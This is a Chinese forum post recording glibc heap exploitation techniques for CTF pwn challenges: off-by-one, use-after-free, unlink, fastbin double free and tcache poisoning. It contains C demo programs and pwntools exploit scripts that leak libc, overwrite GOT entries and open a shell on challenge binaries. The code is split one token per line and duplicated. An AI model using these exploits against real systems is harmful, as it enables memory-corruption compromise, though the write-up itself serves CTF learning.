-
-
[分享]pwn部分简单堆利用记录
-
发表于: 2021-10-22 18:57 22115
-
记录内容借鉴来源32aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2&6N6i4q4#2k6g2)9J5k6h3y4G2L8g2)9J5c8X3y4&6j5X3g2J5j5h3&6Y4k6h3I4Q4x3V1k6J5k6K6W2Y4k6r3#2Q4x3V1k6$3M7$3R3K6K9$3b7`.
溢出一个可控字节从而且更改chunk的大小以及状态(即insure位)
可以造成堆重叠的效果这里就联合overlap,extend一起记录
demo
demo
demo
demo
demo
以上操作都可以通过off-by-one实现,前向合并只需要分配0x x8大小的chunk
就可以控制pre_size同时配合off漏洞控制insure。
037K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0r3j5%4c8X3i4K6u0V1j5$3S2S2L8r3I4W2L8X3N6W2M7#2)9J5c8Y4c8J5k6h3g2Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6H3N6$3&6Q4x3V1k6Z5k6h3q4H3i4K6u0r3j5$3S2#2L8X3E0Q4x3X3c8W2P5s2c8W2L8X3c8Q4x3X3c8K6K9s2u0A6L8X3E0Q4x3V1k6Z5K9i4c8U0L8$3&6@1M7X3q4F1K9h3&6Y4i4K6g2X3L8r3q4T1x3e0x3`.
off by one 漏洞
题目的chunk拥有内容chunk和管理chunk,其中的管理chunk有有效
指针指向内容chunk,
我们利用off by one构造overlap形成堆复用,控制有效指针
exp
由于free后未置空指针,导致的use after free
亦或是,因为在heaparry中含有free or not的标识,但是功能中
含有标识恢复的功能导致的uaf(祥云杯2021升级密码箱)
由于比较简单一般不会单独作为题目出现,往往结合别的漏洞复合使用
附件下载:
链接:fe5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4z5g2y4@1P5Y4m8%4K9i4A6h3j5X3g2&6e0V1g2U0h3e0b7^5h3r3y4r3f1b7`.`.
提取码:oqlh
unlink的公式如下
fd=point_addr-0x18
bk=point_addr-0x10
伪造chunk成功后会在下两次申请到的chunk申请到point_addr
以2014 HITCON stkof为例进行讲解:
00fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0r3j5%4c8X3i4K6u0V1j5$3S2S2L8r3I4W2L8X3N6W2M7#2)9J5c8Y4c8J5k6h3g2Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6H3N6$3&6Q4x3V1k6Z5k6h3q4H3i4K6u0r3N6h3&6D9K9h3&6C8i4K6u0r3x3U0l9I4y4q4)9#2k6X3S2A6N6r3y4G2L8W2)9#2k6Y4y4@1K9$3!0X3
参考资料:
91cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3y4o6p5J5x3o6t1J5x3K6N6Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5H3z5o6b7^5x3e0R3^5z5b7`.`. #主要思路
965K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4P5Y4c8Q4x3X3g2S2j5#2)9J5k6h3y4F1i4K6u0r3x3U0l9I4z5q4)9J5c8U0p5H3i4K6u0r3x3e0k6Q4x3V1k6K6i4K6u0V1M7s2N6F1i4K6u0V1M7s2u0G2K9X3g2U0N6q4)9J5k6o6c8Q4x3V1j5`. #payload来源
感谢@hollk师傅的文章
附件下载:
链接:bb1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4N6q4S2f1j5f1I4S2K9V1k6t1k6p5E0n7x3p5!0X3P5r3&6C8z5q4j5@1f1b7`.`.
提取码:z4p6
题目本身在edit的时候存在堆溢出,但是没有show所以需要构造
exp如下
demo
以iscc 2018的Write Some Paper为例进行讲解,不懂的可以看看上一节的内容
程序来源:16eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9s2A6^5x3o6t1H3i4K6u0r3f1X3g2V1K9i4u0W2j5%4b7`.
参考资料:362K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3q4F1P5s2g2S2L8X3u0D9K9h3&6Y4j5X3I4A6L8X3N6Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8X3y4@1k6W2)9J5c8Y4m8%4L8W2)9J5c8U0t1H3x3U0m8Q4x3V1j5H3x3W2)9J5c8U0l9J5i4K6u0r3M7r3q4H3k6i4u0Q4x3V1j5`.
附件下载:
链接:0a8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4M7p5u0^5j5#2)9#2k6W2)9J5k6o6S2H3M7f1A6J5z5f1#2d9L8p5p5J5b7i4k6^5d9q4p5`.
提取码:2onz
简单题,给了后门,更改got表为后门地址,利用double更改指针就行了
epx
1伪造堆块
2覆盖堆指针指向上一步伪造的堆块
3释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
4申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。
lctf2016_pwn200 2bbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8W2k6g2)9J5k6h3y4G2L8g2)9J5c8V1I4A6k6$3S2@1d9h3&6X3k6h3y4@1K9h3!0F1i4K6u0r3j5%4c8X3i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7R3`.`.
exp
在开始的money之后的输入存在栈溢出,而且没有'\x00'截断puts的时候就可以带出rbp
我们到时候利用栈溢出把rbp的位置改成fake_chunk的位置,接着利用fake chunk控制rip最后退出程序就可以执行shellcode
非常好的一道堆栈结合
参考资料:923K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9h3E0A6i4K6u0W2P5o6p5H3M7$3g2U0i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3K9r3g2S2M7q4)9J5c8X3k6S2M7%4c8T1K9h3&6Q4y4h3k6S2N6s2c8S2j5$3E0Q4x3V1k6Q4x3U0y4S2L8r3I4G2j5#2)9J5k6s2c8G2i4K6u0V1M7%4c8S2j5$3D9`.
ad8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5%4y4o6V1H3
附件下载:
链接: 7dfK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4k6s2m8D9f1q4)9#2k6V1A6C8f1$3c8D9z5f1@1%4c8U0W2K6g2f1g2p5g2X3g2c8 密码: mbht
--来自百度网盘超级会员V3的分享
参考资料:
c2bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9h3E0A6i4K6u0W2P5o6p5H3M7$3g2U0i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3K9r3g2S2M7q4)9J5c8X3k6S2M7%4c8T1K9h3&6Q4y4h3k6S2N6s2c8S2j5$3E0Q4x3V1k6Q4x3U0y4S2M7X3u0A6N6s2u0S2M7Y4W2Q4x3X3c8S2L8r3I4G2j5H3`.`.
附件:
链接: 2b4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4z5s2q4X3K9@1!0y4j5i4g2$3P5g2y4e0k6V1S2C8f1@1I4B7d9i4k6$3f1b7`.`. 密码: 911k
--来自百度网盘超级会员V3的分享
fastbin_attack中的Arbitrary Alloc(例题)
题目来源:0ctf 2017 BabyHeap
参考资料:
48dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3x3K6j5@1z5e0f1I4x3o6c8Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5H3y4U0t1H3x3U0p5K6y4b7`.`. #思路
CTF-wiki
a52K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2&6N6i4q4#2k6g2)9J5k6h3y4G2L8g2)9J5c8X3S2^5k6Y4q4Y4z5g2)9J5c8X3u0A6L8W2)9J5c8X3u0H3z5e0N6J5K9g2)9J5x3%4y4w2g2#2S2K9 #payload
d25K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3y4G2N6h3&6K6k6h3I4D9L8%4u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0R3I4y4e0b7K6x3e0V1%4 #关闭地址随机化
附件:
链接: 0bdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4N6f1M7J5j5$3k6c8j5h3f1H3K9i4N6g2e0s2c8k6N6W2u0E0c8f1u0u0N6H3`.`. 密码: f1i6
--来自百度网盘超级会员V3的分享
漏洞在edit存在堆溢出,堆溢出,打fastbin
exp
题目来源:HITCON Training lab14 magic heap
附件:
链接: 77eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4P5s2c8^5k6$3!0T1j5i4c8q4z5i4W2i4c8V1E0C8c8i4y4x3y4V1A6x3k6H3`.`. 密码: 44km
--来自百度网盘超级会员V3的分享
白给题堆溢出,没开PIE直接打unsortedbin改bk
exp
tcache poisoning的基本原理是覆盖tcache中的next域为目标地址,通过malloc来控制任意地址。
这种攻击方法不需要伪造任何的chunk结构。
demo
参考资料:
05aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6X3j5i4u0S2P5W2)9J5k6h3k6S2K9i4c8Z5i4K6u0r3x3U0l9I4z5g2)9J5k6o6p5H3i4K6u0V1x3U0m8Q4x3X3c8K6k6h3y4U0L8$3&6U0N6r3k6Q4x3X3b7J5x3o6p5&6i4K6u0V1L8$3&6W2i4K6u0r3
aebK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0c8f1y4o6e0@1&6Q4x3V1k6e0c8f1y4o6e0@1^5J5x3o6p5&6i4K6g2X3L8$3&6D9K9h3&6W2i4K6g2X3b7#2c8r3
题目来源:SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
附件下载:
链接:3efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4L8V1c8W2k6e0W2n7h3U0q4d9e0h3S2D9x3$3u0X3K9V1S2b7f1$3A6K6b7b7`.`. 密码: 8qjs
--来自百度网盘超级会员V3的分享
题目就一个UAF非常简单,Ubuntu18的2.27版本,double free都不用去改bk上的key,也不用去中间free个别的直接freeok
直接改fd控制unsortedbin泄露libc打free_hook
exp
参考资料:
914K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3g2r3S2W2k6X3k6@1K9q4)9J5k6r3u0D9L8$3N6Q4x3V1k6H3i4K6u0r3x3e0t1%4z5e0l9%4x3U0m8Q4x3X3g2Z5N6r3#2D9
8efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4N6W2K9i4S2A6L8W2)9#2k6U0b7K6z5o6x3K6y4U0b7J5i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5I4x3o6M7I4y4U0j5#2y4e0p5`.
题目来源:BUUCTF-[V&N2020 公开赛]easyTHeap
附件:
链接:4afK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4g2o6q4H3g2W2)9#2k6X3#2T1g2f1g2b7h3p5y4Y4i4K6u0V1N6X3I4#2i4K6g2X3h3i4M7%4N6H3`.`. 密码: 5fnk
--来自百度网盘超级会员V3的分享
chunk大小小于0x100
UAF漏洞double free 泄露heap改tcache得到unsortedbin泄露libc直接随便玩
exp
/
/
gcc
-
g test1.c
-
o test1
#include<stdio.h>
int
main(void){
void
*
p,
*
q;
p
=
malloc(
0x10
);
/
/
分配第一个
0x10
的chunk
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk
*
(
long
long
*
)((
long
long
)p
-
0x8
)
=
0x41
;
/
/
修改第一个块的size域
free(p);
q
=
malloc(
0x30
);
/
/
实现extend,控制了第二个块的内容
return
0
;
}
/
/
gcc
-
g test1.c
-
o test1
#include<stdio.h>
int
main(void){
void
*
p,
*
q;
p
=
malloc(
0x10
);
/
/
分配第一个
0x10
的chunk
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk
*
(
long
long
*
)((
long
long
)p
-
0x8
)
=
0x41
;
/
/
修改第一个块的size域
free(p);
q
=
malloc(
0x30
);
/
/
实现extend,控制了第二个块的内容
return
0
;
}
/
/
gcc
-
g test2.c
-
o test2
#include<stdio.h>
int
main()
{首先在第
9
行下断点b
9
,我们看一下申请完三个chunk之后内存中的样子:
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
malloc(
0x10
);
/
/
防止与top chunk合并
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
free(p);
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test2.c
-
o test2
#include<stdio.h>
int
main()
{首先在第
9
行下断点b
9
,我们看一下申请完三个chunk之后内存中的样子:
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
malloc(
0x10
);
/
/
防止与top chunk合并
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
free(p);
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test3
-
o test3
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
free(p);
/
/
首先进行释放,使得chunk1进入unsorted
bin
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test3
-
o test3
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
free(p);
/
/
首先进行释放,使得chunk1进入unsorted
bin
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test4.c
-
o test4
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第
1
个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第
2
个
0x10
的chunk2
malloc(
0x10
);
/
/
分配第
3
个
0x10
的chunk3
malloc(
0x10
);
/
/
分配第
4
个
0x10
的chunk4
*
(
long
*
)((
long
)p
-
0x8
)
=
0x61
;
free(p);
q
=
malloc(
0x50
);
}
/
/
gcc
-
g test4.c
-
o test4
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第
1
个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第
2
个
0x10
的chunk2
malloc(
0x10
);
/
/
分配第
3
个
0x10
的chunk3
malloc(
0x10
);
/
/
分配第
4
个
0x10
的chunk4
*
(
long
*
)((
long
)p
-
0x8
)
=
0x61
;
free(p);
q
=
malloc(
0x50
);
}
/
/
gcc
-
g test5.c
-
o test5
#include<stdio.h>
int
main(void)
{
void
*
p,
*
q,
*
r,
*
t;
p
=
malloc(
128
);
/
/
smallbin1
q
=
malloc(
0x10
);
/
/
fastbin1
r
=
malloc(
0x10
);
/
/
fastbin2
t
=
malloc(
128
);
/
/
smallbin2
malloc(
0x10
);
/
/
防止与top合并
free(p);
*
(
int
*
)((
long
long
)t
-
0x8
)
=
0x90
;
/
/
修改pre_inuse域
*
(
int
*
)((
long
long
)t
-
0x10
)
=
0xd0
;
/
/
修改pre_size域
free(t);
/
/
unlink进行前向extend
malloc(
0x150
);
/
/
占位块
}
/
/
gcc
-
g test5.c
-
o test5
#include<stdio.h>
int
main(void)
{
void
*
p,
*
q,
*
r,
*
t;
p
=
malloc(
128
);
/
/
smallbin1
q
=
malloc(
0x10
);
/
/
fastbin1
r
=
malloc(
0x10
);
/
/
fastbin2
t
=
malloc(
128
);
/
/
smallbin2
malloc(
0x10
);
/
/
防止与top合并
free(p);
*
(
int
*
)((
long
long
)t
-
0x8
)
=
0x90
;
/
/
修改pre_inuse域
*
(
int
*
)((
long
long
)t
-
0x10
)
=
0xd0
;
/
/
修改pre_size域
free(t);
/
/
unlink进行前向extend
malloc(
0x150
);
/
/
占位块
}
from
pwn
import
*
context(log_level
=
'DEBUG'
)
p
=
process(
'./heapcreator'
)
heap
=
ELF(
'./heapcreator'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
def
create(size, content):
p.recvuntil(
":"
)
p.sendline(
"1"
)
p.recvuntil(
":"
)
p.sendline(
str
(size))
p.recvuntil(
":"
)
p.sendline(content)
def
edit(idx, content):
p.recvuntil(
":"
)
p.sendline(
"2"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
p.recvuntil(
":"
)
p.sendline(content)
def
show(idx):
p.recvuntil(
":"
)
p.sendline(
"3"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
def
delete(idx):
p.recvuntil(
":"
)
p.sendline(
"4"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
create(
0x18
,
"hollk"
)
create(
0x10
,
"hollk"
)
edit(
0
,
"/bin/sh\x00"
+
"a"
*
0x10
+
"\x41"
)
delete(
1
)
create(
0x30
, p64(
0
)
*
3
+
p64(
0x21
)
+
p64(
0x30
)
+
p64(heap.got[
'free'
]))
show(
1
)
p.recvuntil(
"Content : "
)
data
=
p.recvuntil(
"Done !"
)
free_addr
=
u64(data.split(
"\n"
)[
0
].ljust(
8
,
"\x00"
))
libc_base
=
free_addr
-
libc.symbols[
'free'
]
log.success(
'libc base addr: '
+
hex
(libc_base))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
edit(
1
, p64(system_addr))
#gdb.attach(p)
delete(
0
)
#gdb.attach(p)
p.interactive()
from
pwn
import
*
context(log_level
=
'DEBUG'
)
p
=
process(
'./heapcreator'
)
heap
=
ELF(
'./heapcreator'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
def
create(size, content):
p.recvuntil(
":"
)
p.sendline(
"1"
)
p.recvuntil(
":"
)
p.sendline(
str
(size))
p.recvuntil(
":"
)
p.sendline(content)
def
edit(idx, content):
p.recvuntil(
":"
)
p.sendline(
"2"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
p.recvuntil(
":"
)
p.sendline(content)
def
show(idx):
p.recvuntil(
":"
)
p.sendline(
"3"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
def
delete(idx):
p.recvuntil(
":"
)
p.sendline(
"4"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
create(
0x18
,
"hollk"
)
create(
0x10
,
"hollk"
)
edit(
0
,
"/bin/sh\x00"
+
"a"
*
0x10
+
"\x41"
)
delete(
1
)
create(
0x30
, p64(
0
)
*
3
+
p64(
0x21
)
+
p64(
0x30
)
+
p64(heap.got[
'free'
]))
show(
1
)
p.recvuntil(
"Content : "
)
data
=
p.recvuntil(
"Done !"
)
free_addr
=
u64(data.split(
"\n"
)[
0
].ljust(
8
,
"\x00"
))
libc_base
=
free_addr
-
libc.symbols[
'free'
]
log.success(
'libc base addr: '
+
hex
(libc_base))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
edit(
1
, p64(system_addr))
#gdb.attach(p)
delete(
0
)
#gdb.attach(p)
p.interactive()
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
if
args[
'DEBUG'
]:
context.log_level
=
'debug'
context.binary
=
"./stkof"
stkof
=
ELF(
'./stkof'
)
if
args[
'REMOTE'
]:
p
=
remote(
'127.0.0.1'
,
7777
)
else
:
p
=
process(
"./stkof"
)
log.info(
'PID: '
+
str
(proc.pidof(p)[
0
]))
libc
=
ELF(
'./libc.so.6'
)
head
=
0x602140
def
alloc(size):
p.sendline(
'1'
)
p.sendline(
str
(size))
p.recvuntil(
'OK\n'
)
def
edit(idx, size, content):
p.sendline(
'2'
)
p.sendline(
str
(idx))
p.sendline(
str
(size))
p.send(content)
p.recvuntil(
'OK\n'
)
def
free(idx):
p.sendline(
'3'
)
p.sendline(
str
(idx))
def
exp():
# trigger to malloc buffer for io function
alloc(
0x100
)
# idx 1
alloc(
0x30
)
# idx 2
# small chunk size inorder to trigger unlink
alloc(
0x80
)
# idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload
=
p64(
0
)
#prev_size
payload
+
=
p64(
0x20
)
#size
payload
+
=
p64(head
+
16
-
0x18
)
#fd
payload
+
=
p64(head
+
16
-
0x10
)
#bk
payload
+
=
p64(
0x20
)
# next chunk's prev_size bypass the check
payload
=
payload.ljust(
0x30
,
'a'
)
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload
+
=
p64(
0x30
)
# make it believe that prev chunk is free
payload
+
=
p64(
0x90
)
edit(
2
,
len
(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(
3
)
p.recvuntil(
'OK\n'
)
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload
=
'a'
*
8
+
p64(stkof.got[
'free'
])
+
p64(stkof.got[
'puts'
])
+
p64(
stkof.got[
'atoi'
])
edit(
2
,
len
(payload), payload)
# edit free@got to puts@plt
payload
=
p64(stkof.plt[
'puts'
])
edit(
0
,
len
(payload), payload)
#free global[1] to leak puts addr
free(
1
)
puts_addr
=
p.recvuntil(
'\nOK\n'
, drop
=
True
).ljust(
8
,
'\x00'
)
puts_addr
=
u64(puts_addr)
log.success(
'puts addr: '
+
hex
(puts_addr))
libc_base
=
puts_addr
-
libc.symbols[
'puts'
]
binsh_addr
=
libc_base
+
next
(libc.search(
'/bin/sh'
))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
log.success(
'libc base: '
+
hex
(libc_base))
log.success(
'/bin/sh addr: '
+
hex
(binsh_addr))
log.success(
'system addr: '
+
hex
(system_addr))
# modify atoi@got to system addr
payload
=
p64(system_addr)
edit(
2
,
len
(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if
__name__
=
=
"__main__"
:
exp()
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
if
args[
'DEBUG'
]:
context.log_level
=
'debug'
context.binary
=
"./stkof"
stkof
=
ELF(
'./stkof'
)
if
args[
'REMOTE'
]:
p
=
remote(
'127.0.0.1'
,
7777
)
else
:
p
=
process(
"./stkof"
)
log.info(
'PID: '
+
str
(proc.pidof(p)[
0
]))
libc
=
ELF(
'./libc.so.6'
)
head
=
0x602140
def
alloc(size):
p.sendline(
'1'
)
p.sendline(
str
(size))
p.recvuntil(
'OK\n'
)
def
edit(idx, size, content):
p.sendline(
'2'
)
p.sendline(
str
(idx))
p.sendline(
str
(size))
p.send(content)
p.recvuntil(
'OK\n'
)
def
free(idx):
p.sendline(
'3'
)
p.sendline(
str
(idx))
def
exp():
# trigger to malloc buffer for io function
alloc(
0x100
)
# idx 1
alloc(
0x30
)
# idx 2
# small chunk size inorder to trigger unlink
alloc(
0x80
)
# idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload
=
p64(
0
)
#prev_size
payload
+
=
p64(
0x20
)
#size
payload
+
=
p64(head
+
16
-
0x18
)
#fd
payload
+
=
p64(head
+
16
-
0x10
)
#bk
payload
+
=
p64(
0x20
)
# next chunk's prev_size bypass the check
payload
=
payload.ljust(
0x30
,
'a'
)
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload
+
=
p64(
0x30
)
# make it believe that prev chunk is free
payload
+
=
p64(
0x90
)
edit(
2
,
len
(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(
3
)
p.recvuntil(
'OK\n'
)
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload
=
'a'
*
8
+
p64(stkof.got[
'free'
])
+
p64(stkof.got[
'puts'
])
+
p64(
stkof.got[
'atoi'
])
edit(
2
,
len
(payload), payload)
# edit free@got to puts@plt
payload
=
p64(stkof.plt[
'puts'
])
edit(
0
,
len
(payload), payload)
#free global[1] to leak puts addr
free(
1
)
puts_addr
=
p.recvuntil(
'\nOK\n'
, drop
=
True
).ljust(
8
,
'\x00'
)
puts_addr
=
u64(puts_addr)
log.success(
'puts addr: '
+
hex
(puts_addr))
libc_base
=
puts_addr
-
libc.symbols[
'puts'
]
binsh_addr
=
libc_base
+
next
(libc.search(
'/bin/sh'
))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
log.success(
'libc base: '
+
hex
(libc_base))
log.success(
'/bin/sh addr: '
+
hex
(binsh_addr))
log.success(
'system addr: '
+
hex
(system_addr))
# modify atoi@got to system addr
payload
=
p64(system_addr)
edit(
2
,
len
(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if
__name__
=
=
"__main__"
:
exp()
#include<stdio.h>
typedef struct _chunk
{
long
long
pre_size;
long
long
size;
long
long
fd;
long
long
bk;
} CHUNK,
*
PCHUNK;
CHUNK bss_chunk;
int
main()
{
void
*
chunk1,
*
chunk2,
*
chunk3;
void
*
chunk_a,
*
chunk_b;
bss_chunk.size
=
0x21
;
chunk1
=
malloc(
0x10
);
chunk2
=
malloc(
0x10
);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a
=
malloc(
0x10
);
*
(
long
long
*
)chunk_a
=
&bss_chunk;
malloc(
0x10
);
malloc(
0x10
);
chunk_b
=
malloc(
0x10
);
printf(
"%p\n"
,chunk_b);
return
0
;
}
#include<stdio.h>
typedef struct _chunk
{
long
long
pre_size;
long
long
size;
long
long
fd;
long
long
bk;
} CHUNK,
*
PCHUNK;
CHUNK bss_chunk;
int
main()
{
void
*
chunk1,
*
chunk2,
*
chunk3;
void
*
chunk_a,
*
chunk_b;
bss_chunk.size
=
0x21
;
chunk1
=
malloc(
0x10
);
chunk2
=
malloc(
0x10
);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a
=
malloc(
0x10
);
*
(
long
long
*
)chunk_a
=
&bss_chunk;
malloc(
0x10
);
malloc(
0x10
);
chunk_b
=
malloc(
0x10
);
printf(
"%p\n"
,chunk_b);
return
0
;
}
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
,log_level
=
'debug'
)
myelf
=
ELF(
"./paper"
)
io
=
process(myelf.path)
def
add_paper(num, index, content):
io.recv()
io.sendline(
"1"
)
io.recv()
io.sendline(
str
(index))
io.recv()
io.sendline(
str
(num))
io.recv()
io.sendline(content)
def
del_paper(index):
io.recv()
io.sendline(
"2"
)
io.recv()
io.sendline(
str
(index))
add_paper(
0x30
,
1
,
"1"
)
add_paper(
0x30
,
2
,
"1"
)
#gdb.attach(io)
del_paper(
1
)
del_paper(
2
)
del_paper(
1
)
#gdb.attach(io)
add_paper(
0x30
,
1
, p64(
0x60202a
))
#chunk1
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
